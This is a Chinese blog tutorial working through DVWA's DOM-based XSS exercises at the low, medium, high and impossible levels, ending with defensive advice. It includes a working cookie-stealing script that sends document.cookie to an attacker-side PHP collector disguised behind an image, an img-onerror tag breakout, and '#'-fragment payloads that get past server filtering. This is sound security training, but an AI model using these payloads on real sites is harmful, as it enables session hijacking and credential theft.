2019-3-2 dvwa学习(5)–DOM型XSS攻击

  • Post author:
  • Post category:其他

什么是XSS攻击?
XSS,Cross-site Scripting ,跨站脚本攻击,是一种注入型攻击, 它会把恶意脚本(malicious scripts) 注入其他网站中。当攻击者使用Web应用程序向不同的最终用户发送恶意脚本(通常以浏览器脚本的形式)时,就会发生XSS攻击。
能让这些攻击成功的缺陷非常普遍,例如:Web应用程序在其生成的输出中使用了用户输入,同时又不做验证(validating)或编码(encoding)。

攻击者使用XSS将恶意脚本发送给不知情的用户,而用户的浏览器无法知道不应信任该脚本,因此将执行该脚本。因为浏览器认为恶意脚本来自可信来源,所以该脚本可以访问浏览器保留并用于该站点的任何cookie、会话令牌(session tokens)或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。

XSS攻击有3种:

  1. Store XSS,存储型
  2. Reflected XSS,反射型
  3. DOM Based XSS,DOM型

什么是DOM?
DOM(Document Object Model)即文档对象模型, 定义了访问HTML和XML文档的标准。

DOM型XSS攻击是DOM的一种攻击。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,例如:

  • document.referer
  • window. name
  • location
  • innerHTML
  • documen.write

客户端的脚本程序可以通过DOM动态检查和修改页面内容。它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行。如果DOM中的数据没有经过严格确认,就会被注入攻击。

DOM型XSS可能是反射型,也可能是存储型。

low级别

现在我们来看low级别的DOM型XSS攻击
界面如下
在这里插入图片描述看一下源码

<?php

# No protections, anything goes

?> 

什么也没有,对default参数没有进行任何的过滤。
那如何攻击呢?在浏览器中修改default参数内容即可。

例1:嵌入js脚本
在这里插入图片描述例2,获得cookie
在这里插入图片描述例3,获取cookie进阶
我懒得再搭建一个环境了,就把模拟攻击者的环境也放在dvwa环境中。也即是说攻击者的服务器地址就是192.168.99.10。
在/var/www/html/vulnerabilities/xss_d下创建getcookie.php

<?php
header("content-type:text/html;charset=utf8");
echo "hack";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt',$cookie);
?>

就是把cookie保存在当前目录的xss.txt文件中。
攻击开始,在浏览器中按照以下URL注入

http://192.168.99.100/vulnerabilities/xss_d/?default=<script>var a=document.createElement('a');a.href='http://192.168.99.100/vulnerabilities/xss_d/getcookie.php?'+document.cookie;a.innerHTML="<img src='https://www.baidu.com/img/bd_logo1.png'>";document.body.appendChild(a);</script>

那么注入了什么呢?

<script>
var a =document.createElement('a');        //创建a标签
a.href=''http://192.168.99.100/vulnerabilities/xss_d/getcookie.php'+document.cookie;   //攻击者主机,获取cookie
a.innerHTML="<img src='https://www.baidu.com/img/bd_logo1.png'>";        //掩护图片
document.body.appendChild(a);              //将标签添加到页面中
</script>

现在看一下界面
在这里插入图片描述多了一个百度图片,我只是为了举例,没有修正位置和大小。
如果点击这个图片,那么界面如下
在这里插入图片描述也就是说getcookei.php被执行了。
此时再去/var/www/html/vulnerabilities/xss_d下查看

root@90e68d944bc2:/var/www/html/vulnerabilities/xss_d# more xss.txt
j58548g0ejpkr8jo2k4ggjm3f2; security=low

看到嘛,用户的cookie就被送入攻击者指定的文件中了。

Medium级别

把dvwa环境安全级别调整为medium。先看源码

 <?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

说明如下:

  • array_key_exists函数,检查表单get方法提交的参数是否有default
  • !is_null ($_GET[ ‘default’ ]),default参数不为空
  • 以上2点都满足,那么把表单中提交的default参数值赋值给default变量。
  • 最后利用stripos函数检查default变量,如果包含”<script”字符串,那就把URL的default值改为default=English。

显然,现在是不可能注入“< script>代码</ script>”了。不过< img>标签的onerror属性还是可以利用的,可以尝试注入。
我们先来观察一下页面源码中以下部分,

if (document.location.href.indexOf("default=") >= 0) {
		var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
		document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
		document.write("<option value='' disabled='disabled'>----</option>");
}

它的作用是把default参数的值送入value。尝试注入default=aaa,那么界面效果和页面源码变更如下:

在这里插入图片描述看到了aaa放入的位置吗?现在应该知道怎么办了吧。有点类似sql字符型注入,这里必须闭合的是”<option value=’”。
所以要注入的内容应该类似下面这样

English></option></select><img src=1 'alert(hack)'>

界面如下
在这里插入图片描述此时当img图片引用出错时,onerror中的代码被执行了。注意观察< img src=1 ‘alert(hack)’>在源码中位置和上面注入‘aaa’时候的区别。

同理,我们依然可以利用img标签获得cookie

English></option></select><img src=1 alert(document.cookie)><select>

但是上面这个方法是有缺点的,那就是界面被破坏了,隐蔽性不强。
我们还可以利用#符号来实现DOM型XSS注入。
URL中有一个字符为#,它是用来指导浏览器动作的,对服务器端完全无用。所以,HTTP请求中不包括#。该字符后的数据不会发送到服务器端,从而绕过服务端过滤。
#代表网页中的一个位置。其右面的字符,就是该位置的标识符
例如:192.168.99.100/index.html#test,这个URL中#符号后面就代表网页index.html的test位置。浏览器读取这个URL后,会自动将test位置滚动至可视区域。
而为网页位置指定标识符,有两个方法:

  1. 使用锚点,比如< a name=“test”></ a>
  2. 使用id属性,比如< div id=“test”>。

现在我们尝试在URL中输入如下

http://192.168.99.100/vulnerabilities/xss_d/?#default=%3Cscript%3Ealert(%22hack%22)%3C/script%3E

界面效果如下
在这里插入图片描述注意右下角,发送到服务器的请求网址为http:/192.168.99.100/vulnerabilities/xss_d/?。所以注入的脚本”< script>代码</ script>”没有被服务器端过滤,在浏览器里被执行了。

这种利用#符号的注入方法,界面没有变化,隐蔽性比利用img标签强多了。

在URL中%3C是HTML URL编码,代表的意思是”<“。其他代码可以参见《HTML URL 编码》。
至于为什么要进行HTML URL编码,可以参见《为什么要进行URL编码》。

  • RFC3986文档规定,Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符。
  • RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ]

除了以上部分,字符需要被编码才不会引起Url语义的转变。

High级别

把dvwa环境安全级别调整为high。先看源码

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

在这里,下拉列表框的值设置了白名单,只允许French,English,German,Spanish。如果不是以上这些值,那就是默认值English。
这里注入方法依然可以利用#符号。

http://192.168.99.100/vulnerabilities/xss_d/?default=English#%3Cscript%3Ealert(%22hack%22)%3C/script%3E

在这里插入图片描述获取cookie就不写了,照上面抄。

impossible级别

尝试利用#符号注入,结果如下
在这里插入图片描述可以发现#符号没有起作用,default后面部分都被赋值给value了。
观察页面源码

if (document.location.href.indexOf("default=") >= 0) {
		var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
		document.write("<option value='" + lang + "'>" + (lang)+ "</option>");
		document.write("<option value='' disabled='disabled'>----</option>");
}

可以发现这里对我们输入的参数(lang)并没有进行URL解码,而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码,然后直接赋值给option标签。

我们可以查看/var/www/html/vulnerabilities/xss_d/index.php源码,有以下部分

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
        $decodeURI = "";
}

总结

查看impossible.php,就一句话:Don’t need to do anything, protction handled on the client side。
这是因为DOM型XSS攻击主要是由客户端的脚本通过DOM动态地输出数据到页面,而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。

所以,防范DOM型XSS攻击的方法总结如下:

  1. 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
  2. 表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。此外还要验证其格式、长度、范围和内容。
  3. 对数据进行Html Encode 处理
  4. 过滤或移除输入的特殊Html标签, 例如: < script>, < iframe> , & lt; for <, & gt; for >, &quot for。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等。
  5. 过滤JavaScript 事件的标签。例如 “onclick”, “onfocus” 等等。

当然,在有些应用中是允许html标签出现的,甚至是javascript代码出现。因此我们在过滤数据的时候需要仔细分析哪些数据是有特殊要求(例如输出需要html代码、javascript代码拼接、或者此表单直接允许使用等等),然后区别处理。

推荐一篇文章《XSS跨站脚本攻击

附件

/var/www/html/vulnerabilities/xss_d/index.php,问题代码包含在< script> </ script>中,直接处理URL中default后面部分字符串。处理过程URL–>浏览器,不经过服务器端。

<?php

define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );

$page = dvwaPageNewGrab();
$page[ 'title' ]   = 'Vulnerability: DOM Based Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ]
;
$page[ 'page_id' ] = 'xss_d';
$page[ 'help_button' ]   = 'xss_d';
$page[ 'source_button' ] = 'xss_d';

dvwaDatabaseConnect();

$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
   case 'low':
     $vulnerabilityFile = 'low.php';
     break;
   case 'medium':
     $vulnerabilityFile = 'medium.php';
     break;
   case 'high':
     $vulnerabilityFile = 'high.php';
     break;
   default:
     $vulnerabilityFile = 'impossible.php';
     break;
}

require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_d/source/{$vulnerabilityFile}";

# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
   $decodeURI = "";
}

$page[ 'body' ] = <<<EOF
<div class="body_padded">
   <h1>Vulnerability: DOM Based Cross Site Scripting (XSS)</h1>

   <div class="vulnerable_code_area">

     <p>Please choose a language:</p>

     <form name="XSS" method="GET">
      <select name="default">
        <script>
         if (document.location.href.indexOf("default=") >= 0) {
          var lang = document.location.href.substring(document.location.href.index
Of("default=")+8);
          document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</o
ption>");
          document.write("<option value='' disabled='disabled'>----</option>");
         }

         document.write("<option value='English'>English</option>");
         document.write("<option value='French'>French</option>");
         document.write("<option value='Spanish'>Spanish</option>");
         document.write("<option value='German'>German</option>");
        </script>
      </select>
      <input type="submit" value="Select" />
     </form>
   </div>
EOF;

$page[ 'body' ] .= "
   <h2>More Information</h2>
   <ul>
     <li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ) . "</li>
     <li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_script
ing_(OTG-CLIENT-001)' ) . "</li>
     <li>" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/blog/articles/dom-xss-explained/' ) . "</li>
   </ul>
</div>\n";

dvwaHtmlEcho( $page );

?>

版权声明:本文为weixin_42555985原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。